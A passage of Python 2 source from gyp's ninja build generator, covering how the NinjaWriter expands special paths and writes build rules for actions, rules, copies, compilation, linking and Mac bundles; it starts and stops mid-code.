'.o' if flavor == 'win': # See docstring of msvs_emulation.GenerateEnvironmentFiles(). self.win_env = {} for arch in ('x86', 'x64'): self.win_env[arch] = 'environment.' + arch # Relative path from build output dir to base dir. build_to_top = gyp.common.InvertRelativePath(build_dir, toplevel_dir) self.build_to_base = os.path.join(build_to_top, base_dir) # Relative path from base dir to build dir. base_to_top = gyp.common.InvertRelativePath(base_dir, toplevel_dir) self.base_to_build = os.path.join(base_to_top, build_dir) def ExpandSpecial(self, path, product_dir=None): """Expand specials like $!PRODUCT_DIR in |path|. If |product_dir| is None, assumes the cwd is already the product dir. Otherwise, |product_dir| is the relative path to the product dir. """ PRODUCT_DIR = '$!PRODUCT_DIR' if PRODUCT_DIR in path: if product_dir: path = path.replace(PRODUCT_DIR, product_dir) else: path = path.replace(PRODUCT_DIR + '/', '') path = path.replace(PRODUCT_DIR + '\\', '') path = path.replace(PRODUCT_DIR, '.') INTERMEDIATE_DIR = '$!INTERMEDIATE_DIR' if INTERMEDIATE_DIR in path: int_dir = self.GypPathToUniqueOutput('gen') # GypPathToUniqueOutput generates a path relative to the product dir, # so insert product_dir in front if it is provided. path = path.replace(INTERMEDIATE_DIR, os.path.join(product_dir or '', int_dir)) CONFIGURATION_NAME = '$|CONFIGURATION_NAME' path = path.replace(CONFIGURATION_NAME, self.config_name) return path def ExpandRuleVariables(self, path, root, dirname, source, ext, name): if self.flavor == 'win': path = self.msvs_settings.ConvertVSMacros( path, config=self.config_name) path = path.replace(generator_default_variables['RULE_INPUT_ROOT'], root) path = path.replace(generator_default_variables['RULE_INPUT_DIRNAME'], dirname) path = path.replace(generator_default_variables['RULE_INPUT_PATH'], source) path = path.replace(generator_default_variables['RULE_INPUT_EXT'], ext) path = path.replace(generator_default_variables['RULE_INPUT_NAME'], name) return path def GypPathToNinja(self, path, env=None): """Translate a gyp path to a ninja path, optionally expanding environment variable references in |path| with |env|. See the above discourse on path conversions.""" if env: if self.flavor == 'mac': path = gyp.xcode_emulation.ExpandEnvVars(path, env) elif self.flavor == 'win': path = gyp.msvs_emulation.ExpandMacros(path, env) if path.startswith('$!'): expanded = self.ExpandSpecial(path) if self.flavor == 'win': expanded = os.path.normpath(expanded) return expanded if '$|' in path: path = self.ExpandSpecial(path) assert '$' not in path, path return os.path.normpath(os.path.join(self.build_to_base, path)) def GypPathToUniqueOutput(self, path, qualified=True): """Translate a gyp path to a ninja path for writing output. If qualified is True, qualify the resulting filename with the name of the target. This is necessary when e.g. compiling the same path twice for two separate output targets. See the above discourse on path conversions.""" path = self.ExpandSpecial(path) assert not path.startswith('$'), path # Translate the path following this scheme: # Input: foo/bar.gyp, target targ, references baz/out.o # Output: obj/foo/baz/targ.out.o (if qualified) # obj/foo/baz/out.o (otherwise) # (and obj.host instead of obj for cross-compiles) # # Why this scheme and not some other one? # 1) for a given input, you can compute all derived outputs by matching # its path, even if the input is brought via a gyp file with '..'. # 2) simple files like libraries and stamps have a simple filename. obj = 'obj' if self.toolset != 'target': obj += '.' + self.toolset path_dir, path_basename = os.path.split(path) if qualified: path_basename = self.name + '.' + path_basename return os.path.normpath(os.path.join(obj, self.base_dir, path_dir, path_basename)) def WriteCollapsedDependencies(self, name, targets, order_only=None): """Given a list of targets, return a path for a single file representing the result of building all the targets or None. Uses a stamp file if necessary.""" assert targets == filter(None, targets), targets if len(targets) == 0: assert not order_only return None if len(targets) > 1 or order_only: stamp = self.GypPathToUniqueOutput(name + '.stamp') targets = self.ninja.build(stamp, 'stamp', targets, order_only=order_only) self.ninja.newline() return targets[0] def _SubninjaNameForArch(self, arch): output_file_base = os.path.splitext(self.output_file_name)[0] return '%s.%s.ninja' % (output_file_base, arch) def WriteSpec(self, spec, config_name, generator_flags): """The main entry point for NinjaWriter: write the build rules for a spec. Returns a Target object, which represents the output paths for this spec. Returns None if there are no outputs (e.g. a settings-only 'none' type target).""" self.config_name = config_name self.name = spec['target_name'] self.toolset = spec['toolset'] config = spec['configurations'][config_name] self.target = Target(spec['type']) self.is_standalone_static_library = bool( spec.get('standalone_static_library', 0)) # Track if this target contains any C++ files, to decide if gcc or g++ # should be used for linking. self.uses_cpp = False self.is_mac_bundle = gyp.xcode_emulation.IsMacBundle(self.flavor, spec) self.xcode_settings = self.msvs_settings = None if self.flavor == 'mac': self.xcode_settings = gyp.xcode_emulation.XcodeSettings(spec) if self.flavor == 'win': self.msvs_settings = gyp.msvs_emulation.MsvsSettings(spec, generator_flags) arch = self.msvs_settings.GetArch(config_name) self.ninja.variable('arch', self.win_env[arch]) self.ninja.variable('cc', '$cl_' + arch) self.ninja.variable('cxx', '$cl_' + arch) if self.flavor == 'mac': self.archs = self.xcode_settings.GetActiveArchs(config_name) if len(self.archs) > 1: self.arch_subninjas = dict( (arch, ninja_syntax.Writer( OpenOutput(os.path.join(self.toplevel_build, self._SubninjaNameForArch(arch)), 'w'))) for arch in self.archs) # Compute predepends for all rules. # actions_depends is the dependencies this target depends on before running # any of its action/rule/copy steps. # compile_depends is the dependencies this target depends on before running # any of its compile steps. actions_depends = [] compile_depends = [] # TODO(evan): it is rather confusing which things are lists and which # are strings. Fix these. if 'dependencies' in spec: for dep in spec['dependencies']: if dep in self.target_outputs: target = self.target_outputs[dep] actions_depends.append(target.PreActionInput(self.flavor)) compile_depends.append(target.PreCompileInput()) actions_depends = filter(None, actions_depends) compile_depends = filter(None, compile_depends) actions_depends = self.WriteCollapsedDependencies('actions_depends', actions_depends) compile_depends = self.WriteCollapsedDependencies('compile_depends', compile_depends) self.target.preaction_stamp = actions_depends self.target.precompile_stamp = compile_depends # Write out actions, rules, and copies. These must happen before we # compile any sources, so compute a list of predependencies for sources # while we do it. extra_sources = [] mac_bundle_depends = [] self.target.actions_stamp = self.WriteActionsRulesCopies( spec, extra_sources, actions_depends, mac_bundle_depends) # If we have actions/rules/copies, we depend directly on those, but # otherwise we depend on dependent target's actions/rules/copies etc. # We never need to explicitly depend on previous target's link steps, # because no compile ever depends on them. compile_depends_stamp = (self.target.actions_stamp or compile_depends) # Write out the compilation steps, if any. link_deps = [] sources = extra_sources + spec.get('sources', []) if sources: if self.flavor == 'mac' and len(self.archs) > 1: # Write subninja file containing compile and link commands scoped to # a single arch if a fat binary is being built. for arch in self.archs: self.ninja.subninja(self._SubninjaNameForArch(arch)) pch = None if self.flavor == 'win': gyp.msvs_emulation.VerifyMissingSources( sources, self.abs_build_dir, generator_flags, self.GypPathToNinja) pch = gyp.msvs_emulation.PrecompiledHeader( self.msvs_settings, config_name, self.GypPathToNinja, self.GypPathToUniqueOutput, self.obj_ext) else: pch = gyp.xcode_emulation.MacPrefixHeader( self.xcode_settings, self.GypPathToNinja, lambda path, lang: self.GypPathToUniqueOutput(path + '-' + lang)) link_deps = self.WriteSources( self.ninja, config_name, config, sources, compile_depends_stamp, pch, spec) # Some actions/rules output 'sources' that are already object files. obj_outputs = [f for f in sources if f.endswith(self.obj_ext)] if obj_outputs: if self.flavor != 'mac' or len(self.archs) == 1: link_deps += [self.GypPathToNinja(o) for o in obj_outputs] else: print "Warning: Actions/rules writing object files don't work with " \ "multiarch targets, dropping. (target %s)" % spec['target_name'] elif self.flavor == 'mac' and len(self.archs) > 1: link_deps = collections.defaultdict(list) if self.flavor == 'win' and self.target.type == 'static_library': self.target.component_objs = link_deps # Write out a link step, if needed. output = None is_empty_bundle = not link_deps and not mac_bundle_depends if link_deps or self.target.actions_stamp or actions_depends: output = self.WriteTarget(spec, config_name, config, link_deps, self.target.actions_stamp or actions_depends) if self.is_mac_bundle: mac_bundle_depends.append(output) # Bundle all of the above together, if needed. if self.is_mac_bundle: output = self.WriteMacBundle(spec, mac_bundle_depends, is_empty_bundle) if not output: return None assert self.target.FinalOutput(), output return self.target def _WinIdlRule(self, source, prebuild, outputs): """Handle the implicit VS .idl rule for one source file. Fills |outputs| with files that are generated.""" outdir, output, vars, flags = self.msvs_settings.GetIdlBuildData( source, self.config_name) outdir = self.GypPathToNinja(outdir) def fix_path(path, rel=None): path = os.path.join(outdir, path) dirname, basename = os.path.split(source) root, ext = os.path.splitext(basename) path = self.ExpandRuleVariables( path, root, dirname, source, ext, basename) if rel: path = os.path.relpath(path, rel) return path vars = [(name, fix_path(value, outdir)) for name, value in vars] output = [fix_path(p) for p in output] vars.append(('outdir', outdir)) vars.append(('idlflags', flags)) input = self.GypPathToNinja(source) self.ninja.build(output, 'idl', input, variables=vars, order_only=prebuild) outputs.extend(output) def WriteWinIdlFiles(self, spec, prebuild): """Writes rules to match MSVS's implicit idl handling.""" assert self.flavor == 'win' if self.msvs_settings.HasExplicitIdlRules(spec): return [] outputs = [] for source in filter(lambda x: x.endswith('.idl'), spec['sources']): self._WinIdlRule(source, prebuild, outputs) return outputs def WriteActionsRulesCopies(self, spec, extra_sources, prebuild, mac_bundle_depends): """Write out the Actions, Rules, and Copies steps. Return a path representing the outputs of these steps.""" outputs = [] if self.is_mac_bundle: mac_bundle_resources = spec.get('mac_bundle_resources', [])[:] else: mac_bundle_resources = [] extra_mac_bundle_resources = [] if 'actions' in spec: outputs += self.WriteActions(spec['actions'], extra_sources, prebuild, extra_mac_bundle_resources) if 'rules' in spec: outputs += self.WriteRules(spec['rules'], extra_sources, prebuild, mac_bundle_resources, extra_mac_bundle_resources) if 'copies' in spec: outputs += self.WriteCopies(spec['copies'], prebuild, mac_bundle_depends) if 'sources' in spec and self.flavor == 'win': outputs += self.WriteWinIdlFiles(spec, prebuild) stamp = self.WriteCollapsedDependencies('actions_rules_copies', outputs) if self.is_mac_bundle: self.WriteMacBundleResources( extra_mac_bundle_resources + mac_bundle_resources, mac_bundle_depends) self.WriteMacInfoPlist(mac_bundle_depends) return stamp def GenerateDescription(self, verb, message, fallback): """Generate and return a description of a build step. |verb| is the short summary, e.g. ACTION or RULE. |message| is a hand-written description, or None if not available. |fallback| is the gyp-level name of the step, usable as a fallback. """ if self.toolset != 'target': verb += '(%s)' % self.toolset if message: return '%s %s' % (verb, self.ExpandSpecial(message)) else: return '%s %s: %s' % (verb, self.name, fallback) def WriteActions(self, actions, extra_sources, prebuild, extra_mac_bundle_resources): # Actions cd into the base directory. env = self.GetToolchainEnv() all_outputs = [] for action in actions: # First write out a rule for the action. name = '%s_%s' % (action['action_name'], hashlib.md5(self.qualified_target).hexdigest()) description = self.GenerateDescription('ACTION', action.get('message', None), name) is_cygwin = (self.msvs_settings.IsRuleRunUnderCygwin(action) if self.flavor == 'win' else False) args = action['action'] rule_name, _ = self.WriteNewNinjaRule(name, args, description, is_cygwin, env=env) inputs = [self.GypPathToNinja(i, env) for i in action['inputs']] if int(action.get('process_outputs_as_sources', False)): extra_sources += action['outputs'] if int(action.get('process_outputs_as_mac_bundle_resources', False)): extra_mac_bundle_resources += action['outputs'] outputs = [self.GypPathToNinja(o, env) for o in action['outputs']] # Then write out an edge using the rule. self.ninja.build(outputs, rule_name, inputs, order_only=prebuild) all_outputs += outputs self.ninja.newline() return all_outputs def WriteRules(self, rules, extra_sources, prebuild, mac_bundle_resources, extra_mac_bundle_resources): env = self.GetToolchainEnv() all_outputs = [] for rule in rules: # Skip a rule with no action and no inputs. if 'action' not in rule and not rule.get('rule_sources', []): continue # First write out a rule for the rule action. name = '%s_%s' % (rule['rule_name'], hashlib.md5(self.qualified_target).hexdigest()) args = rule['action'] description = self.GenerateDescription( 'RULE', rule.get('message', None), ('%s ' + generator_default_variables['RULE_INPUT_PATH']) % name) is_cygwin = (self.msvs_settings.IsRuleRunUnderCygwin(rule) if self.flavor == 'win' else False) rule_name, args = self.WriteNewNinjaRule( name, args, description, is_cygwin, env=env) # TODO: if the command references the outputs directly, we should # simplify it to just use $out. # Rules can potentially make use of some special variables which # must vary per source file. # Compute the list of variables we'll need to provide. special_locals = ('source', 'root', 'dirname', 'ext', 'name') needed_variables = set(['source']) for argument in args: for var in special_locals: if ('${%s}' % var) in argument: needed_variables.add(var) def cygwin_munge(path): if is_cygwin: return path.replace('\\', '/') return path inputs = [self.GypPathToNinja(i, env) for i in rule.get('inputs', [])] # If there are n source files matching the rule, and m additional rule # inputs, then adding 'inputs' to each build edge written below will # write m * n inputs. Collapsing reduces this to m + n. sources = rule.get('rule_sources', []) num_inputs = len(inputs) if prebuild: num_inputs += 1 if num_inputs > 2 and len(sources) > 2: inputs = [self.WriteCollapsedDependencies( rule['rule_name'], inputs, order_only=prebuild)] prebuild = [] # For each source file, write an edge that generates all the outputs. for source in sources: source = os.path.normpath(source) dirname, basename = os.path.split(source) root, ext = os.path.splitext(basename) # Gather the list of inputs and outputs, expanding $vars if possible. outputs = [self.ExpandRuleVariables(o, root, dirname, source, ext, basename) for o in rule['outputs']] if int(rule.get('process_outputs_as_sources', False)): extra_sources += outputs was_mac_bundle_resource = source in mac_bundle_resources if was_mac_bundle_resource or \ int(rule.get('process_outputs_as_mac_bundle_resources', False)): extra_mac_bundle_resources += outputs # Note: This is n_resources * n_outputs_in_rule. Put to-be-removed # items in a set and remove them all in a single pass if this becomes # a performance issue. if was_mac_bundle_resource: mac_bundle_resources.remove(source) extra_bindings = [] for var in needed_variables: if var == 'root': extra_bindings.append(('root', cygwin_munge(root))) elif var == 'dirname': # '$dirname' is a parameter to the rule action, which means # it shouldn't be converted to a Ninja path. But we don't # want $!PRODUCT_DIR in there either. dirname_expanded = self.ExpandSpecial(dirname, self.base_to_build) extra_bindings.append(('dirname', cygwin_munge(dirname_expanded))) elif var == 'source': # '$source' is a parameter to the rule action, which means # it shouldn't be converted to a Ninja path. But we don't # want $!PRODUCT_DIR in there either. source_expanded = self.ExpandSpecial(source, self.base_to_build) extra_bindings.append(('source', cygwin_munge(source_expanded))) elif var == 'ext': extra_bindings.append(('ext', ext)) elif var == 'name': extra_bindings.append(('name', cygwin_munge(basename))) else: assert var == None, repr(var) outputs = [self.GypPathToNinja(o, env) for o in outputs] if self.flavor == 'win': # WriteNewNinjaRule uses unique_name for creating an rsp file on win. extra_bindings.append(('unique_name', hashlib.md5(outputs[0]).hexdigest())) self.ninja.build(outputs, rule_name, self.GypPathToNinja(source), implicit=inputs, order_only=prebuild, variables=extra_bindings) all_outputs.extend(outputs) return all_outputs def WriteCopies(self, copies, prebuild, mac_bundle_depends): outputs = [] env = self.GetToolchainEnv() for copy in copies: for path in copy['files']: # Normalize the path so trailing slashes don't confuse us. path = os.path.normpath(path) basename = os.path.split(path)[1] src = self.GypPathToNinja(path, env) dst = self.GypPathToNinja(os.path.join(copy['destination'], basename), env) outputs += self.ninja.build(dst, 'copy', src, order_only=prebuild) if self.is_mac_bundle: # gyp has mac_bundle_resources to copy things into a bundle's # Resources folder, but there's no built-in way to copy files to other # places in the bundle. Hence, some targets use copies for this. Check # if this file is copied into the current bundle, and if so add it to # the bundle depends so that dependent targets get rebuilt if the copy # input changes. if dst.startswith(self.xcode_settings.GetBundleContentsFolderPath()): mac_bundle_depends.append(dst) return outputs def WriteMacBundleResources(self, resources, bundle_depends): """Writes ninja edges for 'mac_bundle_resources'.""" for output, res in gyp.xcode_emulation.GetMacBundleResources( generator_default_variables['PRODUCT_DIR'], self.xcode_settings, map(self.GypPathToNinja, resources)): output = self.ExpandSpecial(output) self.ninja.build(output, 'mac_tool', res, variables=[('mactool_cmd', 'copy-bundle-resource')]) bundle_depends.append(output) def WriteMacInfoPlist(self, bundle_depends): """Write build rules for bundle Info.plist files.""" info_plist, out, defines, extra_env = gyp.xcode_emulation.GetMacInfoPlist( generator_default_variables['PRODUCT_DIR'], self.xcode_settings, self.GypPathToNinja) if not info_plist: return out = self.ExpandSpecial(out) if defines: # Create an intermediate file to store preprocessed results. intermediate_plist = self.GypPathToUniqueOutput( os.path.basename(info_plist)) defines = ' '.join([Define(d, self.flavor) for d in defines]) info_plist = self.ninja.build( intermediate_plist, 'preprocess_infoplist', info_plist, variables=[('defines',defines)]) env = self.GetSortedXcodeEnv(additional_settings=extra_env) env = self.ComputeExportEnvString(env) keys = self.xcode_settings.GetExtraPlistItems(self.config_name) keys = QuoteShellArgument(json.dumps(keys), self.flavor) self.ninja.build(out, 'copy_infoplist', info_plist, variables=[('env', env), ('keys', keys)]) bundle_depends.append(out) def WriteSources(self, ninja_file, config_name, config, sources, predepends, precompiled_header, spec): """Write build rules to compile all of |sources|.""" if self.toolset == 'host': self.ninja.variable('ar', '$ar_host') self.ninja.variable('cc', '$cc_host') self.ninja.variable('cxx', '$cxx_host') self.ninja.variable('ld', '$ld_host') self.ninja.variable('ldxx', '$ldxx_host') if self.flavor != 'mac' or len(self.archs) == 1: return self.WriteSourcesForArch( self.ninja, config_name, config, sources, predepends, precompiled_header, spec) else: return dict((arch, self.WriteSourcesForArch( self.arch_subninjas[arch], config_name, config, sources, predepends, precompiled_header, spec, arch=arch)) for arch in self.archs) def WriteSourcesForArch(self, ninja_file, config_name, config, sources, predepends, precompiled_header, spec, arch=None): """Write build rules to compile all of |sources|.""" extra_defines = [] if self.flavor == 'mac': cflags = self.xcode_settings.GetCflags(config_name, arch=arch) cflags_c = self.xcode_settings.GetCflagsC(config_name) cflags_cc = self.xcode_settings.GetCflagsCC(config_name) cflags_objc = ['$cflags_c'] + \ self.xcode_settings.GetCflagsObjC(config_name) cflags_objcc = ['$cflags_cc'] + \ self.xcode_settings.GetCflagsObjCC(config_name) elif self.flavor == 'win': asmflags = self.msvs_settings.GetAsmflags(config_name) cflags = self.msvs_settings.GetCflags(config_name) cflags_c = self.msvs_settings.GetCflagsC(config_name) cflags_cc = self.msvs_settings.GetCflagsCC(config_name) extra_defines = self.msvs_settings.GetComputedDefines(config_name) # See comment at cc_command for why there's two .pdb files. pdbpath_c = pdbpath_cc = self.msvs_settings.GetCompilerPdbName( config_name, self.ExpandSpecial) if not pdbpath_c: obj = 'obj' if self.toolset != 'target': obj += '.' + self.toolset pdbpath = os.path.normpath(os.path.join(obj, self.base_dir, self.name)) pdbpath_c = pdbpath + '.c.pdb' pdbpath_cc = pdbpath + '.cc.pdb' self.WriteVariableList(ninja_file, 'pdbname_c', [pdbpath_c]) self.WriteVariableList(ninja_file, 'pdbname_cc', [pdbpath_cc]) self.WriteVariableList(ninja_file, 'pchprefix', [self.name]) else: cflags = config.get('cflags', []) cflags_c = config.get('cflags_c', []) cflags_cc = config.get('cflags_cc', []) # Respect environment variables related to build, but target-specific # flags can still override them. if self.toolset == 'target': cflags_c = (os.environ.get('CPPFLAGS', '').split() + os.environ.get('CFLAGS', '').split() + cflags_c) cflags_cc = (os.environ.get('CPPFLAGS', '').split() + os.environ.get('CXXFLAGS', '').split() + cflags_cc) defines = config.get('defines', []) + extra_defines self.WriteVariableList(ninja_file, 'defines', [Define(d, self.flavor) for d in defines]) if self.flavor == 'win': self.WriteVariableList(ninja_file, 'asmflags', map(self.ExpandSpecial, asmflags)) self.WriteVariableList(ninja_file, 'rcflags', [QuoteShellArgument(self.ExpandSpecial(f), self.flavor) for f in self.msvs_settings.GetRcflags(config_name, self.GypPathToNinja)]) include_dirs = config.get('include_dirs', []) env = self.GetToolchainEnv() if self.flavor == 'win': include_dirs = self.msvs_settings.AdjustIncludeDirs(include_dirs, config_name) self.WriteVariableList(ninja_file, 'includes', [QuoteShellArgument('-I' + self.GypPathToNinja(i, env), self.flavor) for i in include_dirs]) pch_commands = precompiled_header.GetPchBuildCommands(arch) if self.flavor == 'mac': # Most targets use no precompiled headers, so only write these if needed. for ext, var in [('c', 'cflags_pch_c'), ('cc', 'cflags_pch_cc'), ('m', 'cflags_pch_objc'), ('mm', 'cflags_pch_objcc')]: include = precompiled_header.GetInclude(ext, arch) if include: ninja_file.variable(var, include) self.WriteVariableList(ninja_file, 'cflags', map(self.ExpandSpecial, cflags)) self.WriteVariableList(ninja_file, 'cflags_c', map(self.ExpandSpecial, cflags_c)) self.WriteVariableList(ninja_file, 'cflags_cc', map(self.ExpandSpecial, cflags_cc)) if self.flavor == 'mac': self.WriteVariableList(ninja_file, 'cflags_objc', map(self.ExpandSpecial, cflags_objc)) self.WriteVariableList(ninja_file, 'cflags_objcc', map(self.ExpandSpecial, cflags_objcc)) ninja_file.newline() outputs = [] has_rc_source = False for source in sources: filename, ext = os.path.splitext(source) ext = ext[1:] obj_ext = self.obj_ext if ext in ('cc', 'cpp', 'cxx'): command = 'cxx' self.uses_cpp = True elif ext == 'c' or (ext == 'S' and self.flavor != 'win'): command = 'cc' elif ext == 's' and self.flavor != 'win': # Doesn't generate .o.d files. command = 'cc_s' elif (self.flavor == 'win' and ext == 'asm' and self.msvs_settings.GetArch(config_name) == 'x86' and not self.msvs_settings.HasExplicitAsmRules(spec)): # Asm files only get auto assembled for x86 (not x64). command = 'asm' # Add the _asm suffix as msvs is capable of handling .cc and # .asm files of the same name without collision. obj_ext = '_asm.obj' elif self.flavor == 'mac' and ext == 'm': command = 'objc' elif self.flavor == 'mac' and ext == 'mm': command = 'objcxx' self.uses_cpp = True elif self.flavor == 'win' and ext == 'rc': command = 'rc' obj_ext = '.res' has_rc_source = True else: # Ignore unhandled extensions. continue input = self.GypPathToNinja(source) output = self.GypPathToUniqueOutput(filename + obj_ext) if arch is not None: output = AddArch(output, arch) implicit = precompiled_header.GetObjDependencies([input], [output], arch) variables = [] if self.flavor == 'win': variables, output, implicit = precompiled_header.GetFlagsModifications( input, output, implicit, command, cflags_c, cflags_cc, self.ExpandSpecial) ninja_file.build(output, command, input, implicit=[gch for _, _, gch in implicit], order_only=predepends, variables=variables) outputs.append(output) if has_rc_source: resource_include_dirs = config.get('resource_include_dirs', include_dirs) self.WriteVariableList(ninja_file, 'resource_includes', [QuoteShellArgument('-I' + self.GypPathToNinja(i, env), self.flavor) for i in resource_include_dirs]) self.WritePchTargets(ninja_file, pch_commands) ninja_file.newline() return outputs def WritePchTargets(self, ninja_file, pch_commands): """Writes ninja rules to compile prefix headers.""" if not pch_commands: return for gch, lang_flag, lang, input in pch_commands: var_name = { 'c': 'cflags_pch_c', 'cc': 'cflags_pch_cc', 'm': 'cflags_pch_objc', 'mm': 'cflags_pch_objcc', }[lang] map = { 'c': 'cc', 'cc': 'cxx', 'm': 'objc', 'mm': 'objcxx', } cmd = map.get(lang) ninja_file.build(gch, cmd, input, variables=[(var_name, lang_flag)]) def WriteLink(self, spec, config_name, config, link_deps): """Write out a link step. Fills out target.binary. """ if self.flavor != 'mac' or len(self.archs) == 1: return self.WriteLinkForArch( self.ninja, spec, config_name, config, link_deps) else: output = self.ComputeOutput(spec) inputs = [self.WriteLinkForArch(self.arch_subninjas[arch], spec, config_name, config, link_deps[arch], arch=arch) for arch in self.archs] extra_bindings = [] if not self.is_mac_bundle: self.AppendPostbuildVariable(extra_bindings, spec, output, output) self.ninja.build(output, 'lipo', inputs, variables=extra_bindings) return output def WriteLinkForArch(self, ninja_file, spec, config_name, config, link_deps, arch=None): """Write out a link step. Fills out target.binary. """ command = { 'executable': 'link', 'loadable_module': 'solink_module', 'shared_library': 'solink', }[spec['type']] command_suffix = '' implicit_deps = set() solibs = set() if 'dependencies' in spec: # Two kinds of dependencies: # - Linkable dependencies (like a .a or a .so): add them to the link line. # - Non-linkable dependencies (like a rule that generates a file # and writes a stamp file): add them to implicit_deps extra_link_deps = set() for dep in spec['dependencies']: target = self.target_outputs.get(dep) if not target: continue linkable = target.Linkable() if linkable: new_deps = [] if (self.flavor == 'win' and target.component_objs and self.msvs_settings.IsUseLibraryDependencyInputs(config_name)): new_deps = target.component_objs elif self.flavor == 'win' and target.import_lib: new_deps = [target.import_lib] elif target.UsesToc(self.flavor): solibs.add(target.binary) implicit_deps.add(target.binary + '.TOC') else: new_deps = [target.binary] for new_dep in new_deps: if new_dep not in extra_link_deps: extra_link_deps.add(new_dep) link_deps.append(new_dep) final_output = target.FinalOutput() if not linkable or final_output != target.binary: implicit_deps.add(final_output) extra_bindings = [] if self.uses_cpp and self.flavor != 'win': extra_bindings.append(('ld', '$ldxx')) output = self.ComputeOutput(spec, arch) if arch is None and not self.is_mac_bundle: self.AppendPostbuildVariable(extra_bindings, spec, output, output) is_executable = spec['type'] == 'executable' # The ldflags config key is not used on mac or win. On those platforms # linker flags are set via xcode_settings and msvs_settings, respectively. env_ldflags = os.environ.get('LDFLAGS', '').split() if self.flavor == 'mac': ldflags = self.xcode_settings.GetLdflags(config_name, self.ExpandSpecial(generator_default_variables['PRODUCT_DIR']), self.GypPathToNinja, arch) ldflags = env_ldflags + ldflags elif self.flavor == 'win': manifest_base_name = self.GypPathToUniqueOutput( self.ComputeOutputFileName(spec)) ldflags, intermediate_manifest, manifest_files = \ self.msvs_settings.GetLdflags(config_name, self.GypPathToNinja, self.ExpandSpecial, manifest_base_name, output, is_executable, self.toplevel_build) ldflags = env_ldflags + ldflags self.WriteVariableList(ninja_file, 'manifests', manifest_files) implicit_deps = implicit_deps.union(manifest_files) if intermediate_manifest: self.WriteVariableList( ninja_file, 'intermediatemanifest', [intermediate_manifest]) command_suffix = _GetWinLinkRuleNameSuffix( self.msvs_settings.IsEmbedManifest(config_name)) def_file = self.msvs_settings.GetDefFile(self.GypPathToNinja) if def_file: implicit_deps.add(def_file) else: # Respect environment variables related to build, but target-specific # flags can still override them. ldflags = env_ldflags + config.get('ldflags', []) if is_executable and len(solibs): rpath = 'lib/' if self.toolset != 'target': rpath += self.toolset ldflags.append('-Wl,-rpath=\$$ORIGIN/%s' % rpath) ldflags.append('-Wl,-rpath-link=%s' % rpath) self.WriteVariableList(ninja_file, 'ldflags', gyp.common.uniquer(map(self.ExpandSpecial, ldflags))) library_dirs = config.get('library_dirs', []) if self.flavor == 'win': library_dirs = [self.msvs_settings.ConvertVSMacros(l, config_name) for l in library_dirs] library_dirs = ['/LIBPATH:' + QuoteShellArgument(self.GypPathToNinja(l), self.flavor) for l in library_dirs] else: library_dirs = [QuoteShellArgument('-L' + self.GypPathToNinja(l), self.flavor) for l in library_dirs] libraries = gyp.common.uniquer(map(self.ExpandSpecial, spec.get('libraries', []))) if self.flavor == 'mac': libraries = self.xcode_settings.AdjustLibraries(libraries, config_name) elif self.flavor == 'win': libraries = self.msvs_settings.AdjustLibraries(libraries) self.WriteVariableList(ninja_file, 'libs', library_dirs + libraries) linked_binary = output if command in ('solink', 'solink_module'): extra_bindings.append(('soname', os.path.split(output)[1])) extra_bindings.append(('lib', gyp.common.EncodePOSIXShellArgument(output))) if self.flavor != 'win': link_file_list = output if self.is_mac_bundle: # 'Dependency Framework.framework/Versions/A/Dependency Framework' -> # 'Dependency Framework.framework.rsp' link_file_list = self.xcode_settings.GetWrapperName() if arch: link_file_list += '.' + arch link_file_list += '.rsp' # If an rspfile contains spaces, ninja surrounds the filename with # quotes around it and then passes it to open(), creating a file with # quotes in its name (and when looking for the rsp file, the name # makes it through bash which strips the quotes) :-/ link_file_list = link_file_list.replace(' ', '_') extra_bindings.append( ('link_file_list', gyp.common.EncodePOSIXShellArgument(link_file_list))) if self.flavor == 'win': extra_bindings.append(('binary', output)) if '/NOENTRY' not in ldflags: self.target.import_lib = output + '.lib' extra_bindings.append(('implibflag', '/IMPLIB:%s' % self.target.import_lib)) pdbname = self.msvs_settings.GetPDBName( config_name, self.ExpandSpecial, output + '.pdb') output = [output, self.target.import_lib] if pdbname: output.append(pdbname) elif not self.is_mac_bundle: output = [output, output + '.TOC'] else: command = command + '_notoc' elif self.flavor == 'win': extra_bindings.append(('binary', output)) pdbname = self.msvs_settings.GetPDBName( config_name, self.ExpandSpecial, output + '.pdb') if pdbname: output = [output, pdbname] if len(solibs): extra_bindings.append(('solibs', gyp.common.EncodePOSIXShellList(solibs))) ninja_file.build(output, command + command_suffix, link_deps, implicit=list(implicit_deps), variables=extra_bindings) return linked_binary def WriteTarget(self, spec, config_name, config, link_deps, compile_deps): extra_link_deps = any(self.target_outputs.get(dep).Linkable() for dep in spec.get('dependencies', []) if dep in self.target_outputs) if spec['type'] == 'none' or (not link_deps and not extra_link_deps): # TODO(evan): don't call this function for 'none' target types, as # it doesn't do anything, and we fake out a 'binary' with a stamp file. self.target.binary = compile_deps self.target.type = 'none' elif spec['type'] == 'static_library': self.target.binary = self.ComputeOutput(spec) if (self.flavor not in ('mac', 'openbsd', 'win') and not self.is_standalone_static_library): self.ninja.build(self.target.binary, 'alink_thin', link_deps, order_only=compile_deps) else: variables = [] if self.xcode_settings: libtool_flags = self.xcode_settings.GetLibtoolflags(config_name) if libtool_flags: variables.append(('libtool_flags', libtool_flags)) if self.msvs_settings: libflags = self.msvs_settings.GetLibFlags(config_name, self.GypPathToNinja) variables.append(('libflags', libflags)) if self.flavor != 'mac' or len(self.archs) == 1: self.AppendPostbuildVariable(variables, spec, self.target.binary, self.target.binary) self.ninja.build(self.target.binary, 'alink', link_deps, order_only=compile_deps, variables=variables) else: inputs = [] for arch in self.archs: output = self.ComputeOutput(spec, arch) self.arch_subninjas[arch].build(output, 'alink', link_deps[arch], order_only=compile_deps, variables=variables) inputs.append(output) # TODO: It's not clear if libtool_flags should be passed to the alink # call that combines single-arch .a files into a fat .a file. self.AppendPostbuildVariable(variables, spec, self.target.binary, self.target.binary) self.ninja.build(self.target.binary, 'alink', inputs, # FIXME: test proving order_only=compile_deps isn't # needed. variables=variables) else: self.target.binary = self.WriteLink(spec, config_name, config, link_deps) return self.target.binary def WriteMacBundle(self, spec, mac_bundle_depends, is_empty): assert self.is_mac_bundle package_framework = spec['type'] in ('shared_library', 'loadable_module') output = self.ComputeMacBundleOutput() if is_empty: output += '.stamp' variables = [] self.AppendPostbuildVariable(variables, spec, output, self.target.binary, is_command_start=not package_framework) if package_framework and not is_empty: variables.append(('version', self.xcode_settings.GetFrameworkVersion())) self.ninja.build(output, 'package_framework', mac_bundle_depends, variables=variables) else: self.ninja.build(output, 'stamp', mac_bundle_depends, variables=variables) self.target.bundle = output return output def GetToolchainEnv(self, additional_settings=None): """Returns the variables toolchain 